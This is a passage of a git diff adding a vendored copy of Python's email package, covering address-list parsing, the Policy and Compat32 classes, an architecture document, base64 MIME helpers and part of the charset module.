self.getdelimited('[', ']\r', False) + + def getatom(self, atomends=None): + """Parse an RFC 2822 atom. + + Optional atomends specifies a different set of end token delimiters + (the default is to use self.atomends). This is used e.g. in + getphraselist() since phrase endings must not include the `.' (which + is legal in phrases).""" + atomlist = [''] + if atomends is None: + atomends = self.atomends + + while self.pos < len(self.field): + if self.field[self.pos] in atomends: + break + else: + atomlist.append(self.field[self.pos]) + self.pos += 1 + + return EMPTYSTRING.join(atomlist) + + def getphraselist(self): + """Parse a sequence of RFC 2822 phrases. + + A phrase is a sequence of words, which are in turn either RFC 2822 + atoms or quoted-strings. Phrases are canonicalized by squeezing all + runs of continuous whitespace into one space. + """ + plist = [] + + while self.pos < len(self.field): + if self.field[self.pos] in self.FWS: + self.pos += 1 + elif self.field[self.pos] == '"': + plist.append(self.getquote()) + elif self.field[self.pos] == '(': + self.commentlist.append(self.getcomment()) + elif self.field[self.pos] in self.phraseends: + break + else: + plist.append(self.getatom(self.phraseends)) + + return plist + +class AddressList(AddrlistClass): + """An AddressList encapsulates a list of parsed RFC 2822 addresses.""" + def __init__(self, field): + AddrlistClass.__init__(self, field) + if field: + self.addresslist = self.getaddrlist() + else: + self.addresslist = [] + + def __len__(self): + return len(self.addresslist) + + def __add__(self, other): + # Set union + newaddr = AddressList(None) + newaddr.addresslist = self.addresslist[:] + for x in other.addresslist: + if not x in self.addresslist: + newaddr.addresslist.append(x) + return newaddr + + def __iadd__(self, other): + # Set union, in-place + for x in other.addresslist: + if not x in self.addresslist: + self.addresslist.append(x) + return self + + def __sub__(self, other): + # Set difference + newaddr = AddressList(None) + for x in self.addresslist: + if not x in other.addresslist: + newaddr.addresslist.append(x) + return newaddr + + def __isub__(self, other): + # Set difference, in-place + for x in other.addresslist: + if x in self.addresslist: + self.addresslist.remove(x) + return self + + def __getitem__(self, index): + # Make indexing, slices, and 'in' work + return self.addresslist[index] diff --git a/email/_policybase.py b/email/_policybase.py new file mode 100755 index 0000000..c9cbadd --- /dev/null +++ b/email/_policybase.py @@ -0,0 +1,374 @@ +"""Policy framework for the email package. + +Allows fine grained feature control of how the package parses and emits data. +""" + +import abc +from email import header +from email import charset as _charset +from email.utils import _has_surrogates + +__all__ = [ + 'Policy', + 'Compat32', + 'compat32', + ] + + +class _PolicyBase: + + """Policy Object basic framework. + + This class is useless unless subclassed. A subclass should define + class attributes with defaults for any values that are to be + managed by the Policy object. The constructor will then allow + non-default values to be set for these attributes at instance + creation time. The instance will be callable, taking these same + attributes keyword arguments, and returning a new instance + identical to the called instance except for those values changed + by the keyword arguments. Instances may be added, yielding new + instances with any non-default values from the right hand + operand overriding those in the left hand operand. That is, + + A + B == A() + + The repr of an instance can be used to reconstruct the object + if and only if the repr of the values can be used to reconstruct + those values. + + """ + + def __init__(self, **kw): + """Create new Policy, possibly overriding some defaults. + + See class docstring for a list of overridable attributes. + + """ + for name, value in kw.items(): + if hasattr(self, name): + super(_PolicyBase,self).__setattr__(name, value) + else: + raise TypeError( + "{!r} is an invalid keyword argument for {}".format( + name, self.__class__.__name__)) + + def __repr__(self): + args = [ "{}={!r}".format(name, value) + for name, value in self.__dict__.items() ] + return "{}({})".format(self.__class__.__name__, ', '.join(args)) + + def clone(self, **kw): + """Return a new instance with specified attributes changed. + + The new instance has the same attribute values as the current object, + except for the changes passed in as keyword arguments. + + """ + newpolicy = self.__class__.__new__(self.__class__) + for attr, value in self.__dict__.items(): + object.__setattr__(newpolicy, attr, value) + for attr, value in kw.items(): + if not hasattr(self, attr): + raise TypeError( + "{!r} is an invalid keyword argument for {}".format( + attr, self.__class__.__name__)) + object.__setattr__(newpolicy, attr, value) + return newpolicy + + def __setattr__(self, name, value): + if hasattr(self, name): + msg = "{!r} object attribute {!r} is read-only" + else: + msg = "{!r} object has no attribute {!r}" + raise AttributeError(msg.format(self.__class__.__name__, name)) + + def __add__(self, other): + """Non-default values from right operand override those from left. + + The object returned is a new instance of the subclass. + + """ + return self.clone(**other.__dict__) + + +def _append_doc(doc, added_doc): + doc = doc.rsplit('\n', 1)[0] + added_doc = added_doc.split('\n', 1)[1] + return doc + '\n' + added_doc + +def _extend_docstrings(cls): + if cls.__doc__ and cls.__doc__.startswith('+'): + cls.__doc__ = _append_doc(cls.__bases__[0].__doc__, cls.__doc__) + for name, attr in cls.__dict__.items(): + if attr.__doc__ and attr.__doc__.startswith('+'): + for c in (c for base in cls.__bases__ for c in base.mro()): + doc = getattr(getattr(c, name), '__doc__') + if doc: + attr.__doc__ = _append_doc(doc, attr.__doc__) + break + return cls + + +class Policy(_PolicyBase, metaclass=abc.ABCMeta): + + r"""Controls for how messages are interpreted and formatted. + + Most of the classes and many of the methods in the email package accept + Policy objects as parameters. A Policy object contains a set of values and + functions that control how input is interpreted and how output is rendered. + For example, the parameter 'raise_on_defect' controls whether or not an RFC + violation results in an error being raised or not, while 'max_line_length' + controls the maximum length of output lines when a Message is serialized. + + Any valid attribute may be overridden when a Policy is created by passing + it as a keyword argument to the constructor. Policy objects are immutable, + but a new Policy object can be created with only certain values changed by + calling the Policy instance with keyword arguments. Policy objects can + also be added, producing a new Policy object in which the non-default + attributes set in the right hand operand overwrite those specified in the + left operand. + + Settable attributes: + + raise_on_defect -- If true, then defects should be raised as errors. + Default: False. + + linesep -- string containing the value to use as separation + between output lines. Default '\n'. + + cte_type -- Type of allowed content transfer encodings + + 7bit -- ASCII only + 8bit -- Content-Transfer-Encoding: 8bit is allowed + + Default: 8bit. Also controls the disposition of + (RFC invalid) binary data in headers; see the + documentation of the binary_fold method. + + max_line_length -- maximum length of lines, excluding 'linesep', + during serialization. None or 0 means no line + wrapping is done. Default is 78. + + mangle_from_ -- a flag that, when True escapes From_ lines in the + body of the message by putting a `>' in front of + them. This is used when the message is being + serialized by a generator. Default: True. + + message_factory -- the class to use to create new message objects. + If the value is None, the default is Message. + + """ + + raise_on_defect = False + linesep = '\n' + cte_type = '8bit' + max_line_length = 78 + mangle_from_ = False + message_factory = None + + def handle_defect(self, obj, defect): + """Based on policy, either raise defect or call register_defect. + + handle_defect(obj, defect) + + defect should be a Defect subclass, but in any case must be an + Exception subclass. obj is the object on which the defect should be + registered if it is not raised. If the raise_on_defect is True, the + defect is raised as an error, otherwise the object and the defect are + passed to register_defect. + + This method is intended to be called by parsers that discover defects. + The email package parsers always call it with Defect instances. + + """ + if self.raise_on_defect: + raise defect + self.register_defect(obj, defect) + + def register_defect(self, obj, defect): + """Record 'defect' on 'obj'. + + Called by handle_defect if raise_on_defect is False. This method is + part of the Policy API so that Policy subclasses can implement custom + defect handling. The default implementation calls the append method of + the defects attribute of obj. The objects used by the email package by + default that get passed to this method will always have a defects + attribute with an append method. + + """ + obj.defects.append(defect) + + def header_max_count(self, name): + """Return the maximum allowed number of headers named 'name'. + + Called when a header is added to a Message object. If the returned + value is not 0 or None, and there are already a number of headers with + the name 'name' equal to the value returned, a ValueError is raised. + + Because the default behavior of Message's __setitem__ is to append the + value to the list of headers, it is easy to create duplicate headers + without realizing it. This method allows certain headers to be limited + in the number of instances of that header that may be added to a + Message programmatically. (The limit is not observed by the parser, + which will faithfully produce as many headers as exist in the message + being parsed.) + + The default implementation returns None for all header names. + """ + return None + + @abc.abstractmethod + def header_source_parse(self, sourcelines): + """Given a list of linesep terminated strings constituting the lines of + a single header, return the (name, value) tuple that should be stored + in the model. The input lines should retain their terminating linesep + characters. The lines passed in by the email package may contain + surrogateescaped binary data. + """ + raise NotImplementedError + + @abc.abstractmethod + def header_store_parse(self, name, value): + """Given the header name and the value provided by the application + program, return the (name, value) that should be stored in the model. + """ + raise NotImplementedError + + @abc.abstractmethod + def header_fetch_parse(self, name, value): + """Given the header name and the value from the model, return the value + to be returned to the application program that is requesting that + header. The value passed in by the email package may contain + surrogateescaped binary data if the lines were parsed by a BytesParser. + The returned value should not contain any surrogateescaped data. + + """ + raise NotImplementedError + + @abc.abstractmethod + def fold(self, name, value): + """Given the header name and the value from the model, return a string + containing linesep characters that implement the folding of the header + according to the policy controls. The value passed in by the email + package may contain surrogateescaped binary data if the lines were + parsed by a BytesParser. The returned value should not contain any + surrogateescaped data. + + """ + raise NotImplementedError + + @abc.abstractmethod + def fold_binary(self, name, value): + """Given the header name and the value from the model, return binary + data containing linesep characters that implement the folding of the + header according to the policy controls. The value passed in by the + email package may contain surrogateescaped binary data. + + """ + raise NotImplementedError + + +@_extend_docstrings +class Compat32(Policy): + + """+ + This particular policy is the backward compatibility Policy. It + replicates the behavior of the email package version 5.1. + """ + + mangle_from_ = True + + def _sanitize_header(self, name, value): + # If the header value contains surrogates, return a Header using + # the unknown-8bit charset to encode the bytes as encoded words. + if not isinstance(value, str): + # Assume it is already a header object + return value + if _has_surrogates(value): + return header.Header(value, charset=_charset.UNKNOWN8BIT, + header_name=name) + else: + return value + + def header_source_parse(self, sourcelines): + """+ + The name is parsed as everything up to the ':' and returned unmodified. + The value is determined by stripping leading whitespace off the + remainder of the first line, joining all subsequent lines together, and + stripping any trailing carriage return or linefeed characters. + + """ + name, value = sourcelines[0].split(':', 1) + value = value.lstrip(' \t') + ''.join(sourcelines[1:]) + return (name, value.rstrip('\r\n')) + + def header_store_parse(self, name, value): + """+ + The name and value are returned unmodified. + """ + return (name, value) + + def header_fetch_parse(self, name, value): + """+ + If the value contains binary data, it is converted into a Header object + using the unknown-8bit charset. Otherwise it is returned unmodified. + """ + return self._sanitize_header(name, value) + + def fold(self, name, value): + """+ + Headers are folded using the Header folding algorithm, which preserves + existing line breaks in the value, and wraps each resulting line to the + max_line_length. Non-ASCII binary data are CTE encoded using the + unknown-8bit charset. + + """ + return self._fold(name, value, sanitize=True) + + def fold_binary(self, name, value): + """+ + Headers are folded using the Header folding algorithm, which preserves + existing line breaks in the value, and wraps each resulting line to the + max_line_length. If cte_type is 7bit, non-ascii binary data is CTE + encoded using the unknown-8bit charset. Otherwise the original source + header is used, with its existing line breaks and/or binary data. + + """ + folded = self._fold(name, value, sanitize=self.cte_type=='7bit') + return folded.encode('ascii', 'surrogateescape') + + def _fold(self, name, value, sanitize): + parts = [] + parts.append('%s: ' % name) + if isinstance(value, str): + if _has_surrogates(value): + if sanitize: + h = header.Header(value, + charset=_charset.UNKNOWN8BIT, + header_name=name) + else: + # If we have raw 8bit data in a byte string, we have no idea + # what the encoding is. There is no safe way to split this + # string. If it's ascii-subset, then we could do a normal + # ascii split, but if it's multibyte then we could break the + # string. There's no way to know so the least harm seems to + # be to not split the string and risk it being too long. + parts.append(value) + h = None + else: + h = header.Header(value, header_name=name) + else: + # Assume it is a Header-like object. + h = value + if h is not None: + # The Header class interprets a value of None for maxlinelen as the + # default value of 78, as recommended by RFC 2822. + maxlinelen = 0 + if self.max_line_length is not None: + maxlinelen = self.max_line_length + parts.append(h.encode(linesep=self.linesep, maxlinelen=maxlinelen)) + parts.append(self.linesep) + return ''.join(parts) + + +compat32 = Compat32() diff --git a/email/architecture.rst b/email/architecture.rst new file mode 100755 index 0000000..fcd10bd --- /dev/null +++ b/email/architecture.rst @@ -0,0 +1,216 @@ +:mod:`email` Package Architecture +================================= + +Overview +-------- + +The email package consists of three major components: + + Model + An object structure that represents an email message, and provides an + API for creating, querying, and modifying a message. + + Parser + Takes a sequence of characters or bytes and produces a model of the + email message represented by those characters or bytes. + + Generator + Takes a model and turns it into a sequence of characters or bytes. The + sequence can either be intended for human consumption (a printable + unicode string) or bytes suitable for transmission over the wire. In + the latter case all data is properly encoded using the content transfer + encodings specified by the relevant RFCs. + +Conceptually the package is organized around the model. The model provides both +"external" APIs intended for use by application programs using the library, +and "internal" APIs intended for use by the Parser and Generator components. +This division is intentionally a bit fuzzy; the API described by this +documentation is all a public, stable API. This allows for an application +with special needs to implement its own parser and/or generator. + +In addition to the three major functional components, there is a third key +component to the architecture: + + Policy + An object that specifies various behavioral settings and carries + implementations of various behavior-controlling methods. + +The Policy framework provides a simple and convenient way to control the +behavior of the library, making it possible for the library to be used in a +very flexible fashion while leveraging the common code required to parse, +represent, and generate message-like objects. For example, in addition to the +default :rfc:`5322` email message policy, we also have a policy that manages +HTTP headers in a fashion compliant with :rfc:`2616`. Individual policy +controls, such as the maximum line length produced by the generator, can also +be controlled individually to meet specialized application requirements. + + +The Model +--------- + +The message model is implemented by the :class:`~email.message.Message` class. +The model divides a message into the two fundamental parts discussed by the +RFC: the header section and the body. The `Message` object acts as a +pseudo-dictionary of named headers. Its dictionary interface provides +convenient access to individual headers by name. However, all headers are kept +internally in an ordered list, so that the information about the order of the +headers in the original message is preserved. + +The `Message` object also has a `payload` that holds the body. A `payload` can +be one of two things: data, or a list of `Message` objects. The latter is used +to represent a multipart MIME message. Lists can be nested arbitrarily deeply +in order to represent the message, with all terminal leaves having non-list +data payloads. + + +Message Lifecycle +----------------- + +The general lifecycle of a message is: + + Creation + A `Message` object can be created by a Parser, or it can be + instantiated as an empty message by an application. + + Manipulation + The application may examine one or more headers, and/or the + payload, and it may modify one or more headers and/or + the payload. This may be done on the top level `Message` + object, or on any sub-object. + + Finalization + The Model is converted into a unicode or binary stream, + or the model is discarded. + + + +Header Policy Control During Lifecycle +-------------------------------------- + +One of the major controls exerted by the Policy is the management of headers +during the `Message` lifecycle. Most applications don't need to be aware of +this. + +A header enters the model in one of two ways: via a Parser, or by being set to +a specific value by an application program after the Model already exists. +Similarly, a header exits the model in one of two ways: by being serialized by +a Generator, or by being retrieved from a Model by an application program. The +Policy object provides hooks for all four of these pathways. + +The model storage for headers is a list of (name, value) tuples. + +The Parser identifies headers during parsing, and passes them to the +:meth:`~email.policy.Policy.header_source_parse` method of the Policy. The +result of that method is the (name, value) tuple to be stored in the model. + +When an application program supplies a header value (for example, through the +`Message` object `__setitem__` interface), the name and the value are passed to +the :meth:`~email.policy.Policy.header_store_parse` method of the Policy, which +returns the (name, value) tuple to be stored in the model. + +When an application program retrieves a header (through any of the dict or list +interfaces of `Message`), the name and value are passed to the +:meth:`~email.policy.Policy.header_fetch_parse` method of the Policy to +obtain the value returned to the application. + +When a Generator requests a header during serialization, the name and value are +passed to the :meth:`~email.policy.Policy.fold` method of the Policy, which +returns a string containing line breaks in the appropriate places. The +:meth:`~email.policy.Policy.cte_type` Policy control determines whether or +not Content Transfer Encoding is performed on the data in the header. There is +also a :meth:`~email.policy.Policy.binary_fold` method for use by generators +that produce binary output, which returns the folded header as binary data, +possibly folded at different places than the corresponding string would be. + + +Handling Binary Data +-------------------- + +In an ideal world all message data would conform to the RFCs, meaning that the +parser could decode the message into the idealized unicode message that the +sender originally wrote. In the real world, the email package must also be +able to deal with badly formatted messages, including messages containing +non-ASCII characters that either have no indicated character set or are not +valid characters in the indicated character set. + +Since email messages are *primarily* text data, and operations on message data +are primarily text operations (except for binary payloads of course), the model +stores all text data as unicode strings. Un-decodable binary inside text +data is handled by using the `surrogateescape` error handler of the ASCII +codec. As with the binary filenames the error handler was introduced to +handle, this allows the email package to "carry" the binary data received +during parsing along until the output stage, at which time it is regenerated +in its original form. + +This carried binary data is almost entirely an implementation detail. The one +place where it is visible in the API is in the "internal" API. A Parser must +do the `surrogateescape` encoding of binary input data, and pass that data to +the appropriate Policy method. The "internal" interface used by the Generator +to access header values preserves the `surrogateescaped` bytes. All other +interfaces convert the binary data either back into bytes or into a safe form +(losing information in some cases). + + +Backward Compatibility +---------------------- + +The :class:`~email.policy.Policy.Compat32` Policy provides backward +compatibility with version 5.1 of the email package. It does this via the +following implementation of the four+1 Policy methods described above: + +header_source_parse + Splits the first line on the colon to obtain the name, discards any spaces + after the colon, and joins the remainder of the line with all of the + remaining lines, preserving the linesep characters to obtain the value. + Trailing carriage return and/or linefeed characters are stripped from the + resulting value string. + +header_store_parse + Returns the name and value exactly as received from the application. + +header_fetch_parse + If the value contains any `surrogateescaped` binary data, return the value + as a :class:`~email.header.Header` object, using the character set + `unknown-8bit`. Otherwise just returns the value. + +fold + Uses :class:`~email.header.Header`'s folding to fold headers in the + same way the email5.1 generator did. + +binary_fold + Same as fold, but encodes to 'ascii'. + + +New Algorithm +------------- + +header_source_parse + Same as legacy behavior. + +header_store_parse + Same as legacy behavior. + +header_fetch_parse + If the value is already a header object, returns it. Otherwise, parses the + value using the new parser, and returns the resulting object as the value. + `surrogateescaped` bytes get turned into unicode unknown character code + points. + +fold + Uses the new header folding algorithm, respecting the policy settings. + surrogateescaped bytes are encoded using the ``unknown-8bit`` charset for + ``cte_type=7bit`` or ``8bit``. Returns a string. + + At some point there will also be a ``cte_type=unicode``, and for that + policy fold will serialize the idealized unicode message with RFC-like + folding, converting any surrogateescaped bytes into the unicode + unknown character glyph. + +binary_fold + Uses the new header folding algorithm, respecting the policy settings. + surrogateescaped bytes are encoded using the `unknown-8bit` charset for + ``cte_type=7bit``, and get turned back into bytes for ``cte_type=8bit``. + Returns bytes. + + At some point there will also be a ``cte_type=unicode``, and for that + policy binary_fold will serialize the message according to :rfc:``5335``. diff --git a/email/base64mime.py b/email/base64mime.py new file mode 100755 index 0000000..17f0818 --- /dev/null +++ b/email/base64mime.py @@ -0,0 +1,119 @@ +# Copyright (C) 2002-2007 Python Software Foundation +# Author: Ben Gertzfield +# Contact: email-sig@python.org + +"""Base64 content transfer encoding per RFCs 2045-2047. + +This module handles the content transfer encoding method defined in RFC 2045 +to encode arbitrary 8-bit data using the three 8-bit bytes in four 7-bit +characters encoding known as Base64. + +It is used in the MIME standards for email to attach images, audio, and text +using some 8-bit character sets to messages. + +This module provides an interface to encode and decode both headers and bodies +with Base64 encoding. + +RFC 2045 defines a method for including character set information in an +`encoded-word' in a header. This method is commonly used for 8-bit real names +in To:, From:, Cc:, etc. fields, as well as Subject: lines. + +This module does not do the line wrapping or end-of-line character conversion +necessary for proper internationalized headers; it only does dumb encoding and +decoding. To deal with the various line wrapping issues, use the email.header +module. +""" + +__all__ = [ + 'body_decode', + 'body_encode', + 'decode', + 'decodestring', + 'header_encode', + 'header_length', + ] + + +from base64 import b64encode +from binascii import b2a_base64, a2b_base64 + +CRLF = '\r\n' +NL = '\n' +EMPTYSTRING = '' + +# See also Charset.py +MISC_LEN = 7 + + + +# Helpers +def header_length(bytearray): + """Return the length of s when it is encoded with base64.""" + groups_of_3, leftover = divmod(len(bytearray), 3) + # 4 bytes out for each 3 bytes (or nonzero fraction thereof) in. + n = groups_of_3 * 4 + if leftover: + n += 4 + return n + + + +def header_encode(header_bytes, charset='iso-8859-1'): + """Encode a single header line with Base64 encoding in a given charset. + + charset names the character set to use to encode the header. It defaults + to iso-8859-1. Base64 encoding is defined in RFC 2045. + """ + if not header_bytes: + return "" + if isinstance(header_bytes, str): + header_bytes = header_bytes.encode(charset) + encoded = b64encode(header_bytes).decode("ascii") + return '=?%s?b?%s?=' % (charset, encoded) + + + +def body_encode(s, maxlinelen=76, eol=NL): + r"""Encode a string with base64. + + Each line will be wrapped at, at most, maxlinelen characters (defaults to + 76 characters). + + Each line of encoded text will end with eol, which defaults to "\n". Set + this to "\r\n" if you will be using the result of this function directly + in an email. + """ + if not s: + return s + + encvec = [] + max_unencoded = maxlinelen * 3 // 4 + for i in range(0, len(s), max_unencoded): + # BAW: should encode() inherit b2a_base64()'s dubious behavior in + # adding a newline to the encoded string? + enc = b2a_base64(s[i:i + max_unencoded]).decode("ascii") + if enc.endswith(NL) and eol != NL: + enc = enc[:-1] + eol + encvec.append(enc) + return EMPTYSTRING.join(encvec) + + + +def decode(string): + """Decode a raw base64 string, returning a bytes object. + + This function does not parse a full MIME header value encoded with + base64 (like =?iso-8859-1?b?bmloISBuaWgh?=) -- please use the high + level email.header class for that functionality. + """ + if not string: + return bytes() + elif isinstance(string, str): + return a2b_base64(string.encode('raw-unicode-escape')) + else: + return a2b_base64(string) + + +# For convenience and backwards compatibility w/ standard base64 module +body_decode = decode +decodestring = decode diff --git a/email/charset.py b/email/charset.py new file mode 100755 index 0000000..ee56404 --- /dev/null +++ b/email/charset.py @@ -0,0 +1,406 @@ +# Copyright (C) 2001-2007 Python Software Foundation +# Author: Ben Gertzfield, Barry Warsaw +# Contact: email-sig@python.org + +__all__ = [ + 'Charset', + 'add_alias', + 'add_charset', + 'add_codec', + ] + +from functools import partial + +import email.base64mime +import email.quoprimime + +from email import errors +from email.encoders import encode_7or8bit + + + +# Flags for types of header encodings +QP = 1 # Quoted-Printable +BASE64 = 2 # Base64 +SHORTEST = 3 # the shorter of QP and base64, but only for headers + +# In "=?charset?q?hello_world?=", the =?, ?q?, and ?= add up to 7 +RFC2047_CHROME_LEN = 7 + +DEFAULT_CHARSET = 'us-ascii' +UNKNOWN8BIT = 'unknown-8bit' +EMPTYSTRING = '' + + + +# Defaults +CHARSETS = { + # input header enc body enc output conv + 'iso-8859-1': (QP, QP, None), + 'iso-8859-2': (QP, QP, None), + 'iso-8859-3': (QP, QP, None), + 'iso-8859-4': (QP, QP, None), + # iso-8859-5 is Cyrillic, and not especially used + # iso-8859-6 is Arabic, also not particularly used + # iso-8859-7 is Greek, QP will not make it readable + # iso-8859-8 is Hebrew, QP will not make it readable + 'iso-8859-9': (QP, QP, None), + 'iso-8859-10': (QP, QP, None), + # iso-8859-11 is Thai, QP will not make it readable + 'iso-8859-13': (QP, QP, None), + 'iso-8859-14': (QP, QP, None), + 'iso-8859-15': (QP, QP, None), + 'iso-8859-16': (QP, QP, None), + 'windows-1252':(QP, QP, None), + 'viscii': (QP, QP, None), + 'us-ascii': (None, None, None), + 'big5': (BASE64, BASE64, None), + 'gb2312': (BASE64, BASE64, None), + 'euc-jp': (BASE64, None, 'iso-2022-jp'), + 'shift_jis': (BASE64, None, 'iso-2022-jp'), + 'iso-2022-jp': (BASE64, None, None), + 'koi8-r': (BASE64, BASE64, None), + 'utf-8': (SHORTEST, BASE64, 'utf-8'), + } + +# Aliases for other commonly-used names for character sets. Map +# them to the real ones used in email. +ALIASES = { + 'latin_1': 'iso-8859-1', + 'latin-1': 'iso-8859-1', + 'latin_2': 'iso-8859-2', + 'latin-2': 'iso-8859-2', + 'latin_3': 'iso-8859-3', + 'latin-3': 'iso-8859-3', + 'latin_4': 'iso-8859-4', + 'latin-4': 'iso-8859-4', + 'latin_5': 'iso-8859-9', + 'latin-5': 'iso-8859-9', + 'latin_6': 'iso-8859-10', + 'latin-6': 'iso-8859-10', + 'latin_7': 'iso-8859-13', + 'latin-7': 'iso-8859-13', + 'latin_8': 'iso-8859-14', + 'latin-8': 'iso-8859-14', + 'latin_9': 'iso-8859-15', + 'latin-9': 'iso-8859-15', + 'latin_10':'iso-8859-16', + 'latin-10':'iso-8859-16', + 'cp949': 'ks_c_5601-1987', + 'euc_jp': 'euc-jp', + 'euc_kr': 'euc-kr', + 'ascii': 'us-ascii', + } + + +# Map charsets to their Unicode codec strings. +CODEC_MAP = { + 'gb2312': 'eucgb2312_cn', + 'big5': 'big5_tw', + # Hack: We don't want *any* conversion for stuff marked us-ascii, as all + # sorts of garbage might be sent to us in the guise of 7-bit us-ascii. + # Let that stuff pass through without conversion to/from Unicode. + 'us-ascii': None, + } + + + +# Convenience functions for extending the above mappings +def add_charset(charset, header_enc=None, body_enc=None, output_charset=None): + """Add character set properties to the global registry. + + charset is the input character set, and must be the canonical name of a + character set. + + Optional header_enc and body_enc is either Charset.QP for + quoted-printable, Charset.BASE64 for base64 encoding, Charset.SHORTEST for + the shortest of qp or base64 encoding, or None for no encoding. SHORTEST + is only valid for header_enc. It describes how message headers and + message bodies in the input charset are to be encoded. Default is no + encoding. + + Optional output_charset is the character set that the output should be + in. Conversions will proceed from input charset, to Unicode, to the + output charset when the method Charset.convert() is called. The default + is to output in the same character set as the input. + + Both input_charset and output_charset must have Unicode codec entries in + the module's charset-to-codec mapping; use add_codec(charset, codecname) + to add codecs the module does not know about. See the codecs module's + documentation for more information. + """ + if body_enc == SHORTEST: + raise ValueError('SHORTEST not allowed for body_enc') + CHARSETS[charset] = (header_enc, body_enc, output_charset) + + +def add_alias(alias, canonical): + """Add a character set alias. + + alias is the alias name, e.g. latin-1 + canonical is the character set's canonical name, e.g. iso-8859-1 + """ + ALIASES[alias] = canonical + + +def add_codec(charset, codecname): + """Add a codec that map characters in the given charset to/from Unicode. + + charset is the canonical name of a character set. codecname is the name + of a Python codec, as appropriate for the second argument to the unicode() + built-in, or to the encode() method of a Unicode string. + """ + CODEC_MAP[charset] = codecname + + + +# Convenience function for encoding strings, taking into account +# that they might be unknown-8bit (ie: have surrogate-escaped bytes) +def _encode(string, codec): + if codec == UNKNOWN8BIT: + return string.encode('ascii', 'surrogateescape') + else: + return string.encode(codec) + + + +class Charset: + """Map character sets to their email properties. + + This class provides information about the requirements imposed on email + for a specific character set. It also provides convenience routines for + converting between character sets, given the availability of the + applicable codecs. Given a character set, it will do its best to provide + information on how to use that character set in an email in an + RFC-compliant way. + + Certain character sets must be encoded with quoted-printable or base64 + when used in email headers or bodies. Certain character sets must be + converted outright, and are not allowed in email. Instances of this + module expose the following information about a character set: + + input_charset: The initial character set specified. Common aliases + are converted to their `official' email names (e.g. latin_1 + is converted to iso-8859-1). Defaults to 7-bit us-ascii. + + header_encoding: If the character set must be encoded before it can be + used in an email header, this attribute will be set to + Charset.QP (for quoted-printable), Charset.BASE64 (for + base64 encoding), or Charset.SHORTEST for the shortest of + QP or BASE64 encoding. Otherwise, it will be None. + + body_encoding: Same as header_encoding, but describes the encoding for the + mail message's body, which indeed may be different than the + header encoding. Charset.SHORTEST is not allowed for + body_encoding. + + output_charset: Some character sets must be converted before they can be + used in email headers or bodies. If the input_charset is + one of them, this attribute will contain the name of the + charset output will be converted to. Otherwise, it will + be None. + + input_codec: The name of the Python codec used to convert the + input_charset to Unicode. If no conversion codec is + necessary, this attribute will be None. + + output_codec: The name of the Python codec used to convert Unicode + to the output_charset. If no conversion codec is necessary, + this attribute will have the same value as the input_codec. + """ + def __init__(self, input_charset=DEFAULT_CHARSET): + # RFC 2046, $4.1.2 says charsets are not case sensitive. We coerce to + # unicode because its .lower() is locale insensitive. If the argument + # is already a unicode, we leave it at that, but ensure that the + # charset is ASCII, as the standard (RFC XXX) requires. + try: + if isinstance(input_charset, str): + input_charset.encode('ascii') + else: + input_charset = str(input_charset, 'ascii') + except UnicodeError: + raise errors.CharsetError(input_charset) + input_charset = input_charset.lower() + # Set the input charset after filtering through the aliases + self.input_charset = ALIASES.get(input_charset, input_charset) + # We can try to guess which encoding and conversion to use by the + # charset_map dictionary. Try that first, but let the user override + # it. + henc, benc, conv = CHARSETS.get(self.input_charset, + (SHORTEST, BASE64, None)) + if not conv: + conv = self.input_charset + # Set the attributes, allowing the arguments to override the default. + self.header_encoding = henc + self.body_encoding = benc + self.output_charset = ALIASES.get(conv, conv) + # Now set the codecs. If one isn't defined for input_charset, + # guess and try a Unicode codec with the same name as input_codec. + self.input_codec = CODEC_MAP.get(self.input_charset, + self.input_charset) + self.output_codec = CODEC_MAP.get(self.output_charset, + self.output_charset) + + def __str__(self): + return self.input_charset.lower() + + __repr__ = __str__ + + def __eq__(self, other): + return str(self) == str(other).lower() + + def get_body_encoding(self): + """Return the content-transfer-encoding used for body encoding. + + This is either the string `quoted-printable' or `base64' depending on + the encoding used, or it is a function in which case you should call + the function with a single argument, the Message object being + encoded. The function should then set the Content-Transfer-Encoding + header itself to whatever is appropriate. + + Returns "quoted-printable" if self.body_encoding is QP. + Returns "base64" if self.body_encoding is BASE64. + Returns conversion function otherwise. + """ + assert self.body_encoding != SHORTEST + if self.body_encoding == QP: + return 'quoted-printable' + elif self.body_encoding == BASE64: + return 'base64' + else: + return encode_7or8bit + + def get_output_charset(self): + """Return the output character set. + + This is self.output_charset if that is not None, otherwise it is + self.input_charset. + """ + return self.output_charset or self.input_charset + + def header_encode(self, string): + """Header-encode a string by converting it first to bytes. + + The type of encoding (base64 or quoted-printable) will be based on + this charset's `header_encoding`. + + :param string: A unicode string for the header. It must be possible + to encode this string to bytes using the character set's + output codec. + :return: The encoded string, with RFC 2047 chrome. + """ + codec = self.output_codec or 'us-ascii' + header_bytes = _encode(string, codec) + # 7bit/8bit encodings return the string unchanged (modulo conversions) + encoder_module = self._get_encoder(header_bytes) + if encoder_module is None: + return string + return encoder_module.header_encode(header_bytes, codec) + + def header_encode_lines(self, string, maxlengths): + """Header-encode a string by converting it first to bytes. + + This is similar to `header_encode()` except that the string is fit + into maximum line lengths as given by the argument. + + :param string: A unicode string for the header. It must be possible + to encode this string to bytes using the character set's + output codec. + :param maxlengths: Maximum line length iterator. Each element + returned from this iterator will provide the next maximum line + length. This parameter is used as an argument to built-in next() + and should never be exhausted. The maximum line lengths should + not count the RFC 2047 chrome. These line lengths are only a + hint; the splitter does the best it can. + :return: Lines of encoded strings, each with RFC 2047 chrome. + """ + # See which encoding we should use. + codec = self.output_codec or 'us-ascii' + header_bytes = _encode(string, codec) + encoder_module = self._get_encoder(header_bytes) + encoder = partial(encoder_module.header_encode, charset=codec) + # Calculate the number of characters that the RFC 2047 chrome will + # contribute to each line. + charset = self.get_output_charset() + extra = len(charset) + RFC2047_CHROME_LEN + # Now comes the hard part. We must encode bytes but we can't split on + # bytes because some character sets are variable length and each + # encoded word must stand on its own. So the problem is you have to + # encode to bytes to figure out this word's length, but you must split + # on characters. This causes two problems: first, we don't know how + # many octets a specific substring of unicode characters will get + # encoded to, and second, we don't know how many ASCII characters + # those octets will get encoded to. Unless we try it. Which seems + # inefficient. In the interest of being correct rather than fast (and + # in the hope that there will be few encoded headers in any such + # message), brute force it. :( + lines = [] + current_line = [] + maxlen = next(maxlengths) - extra + for character in string: + current_line.append(character) + this_line = EMPTYSTRING.join(current_line) + length = encoder_module.header_length(_encode(this_line, charset)) + if length > maxlen: + # This last character doesn't fit so pop it off. + current_line.pop() + # Does nothing fit on the first line? + if not lines and not current_line: + lines.append(None) + else: + separator = (' ' if lines else '') + joined_line = 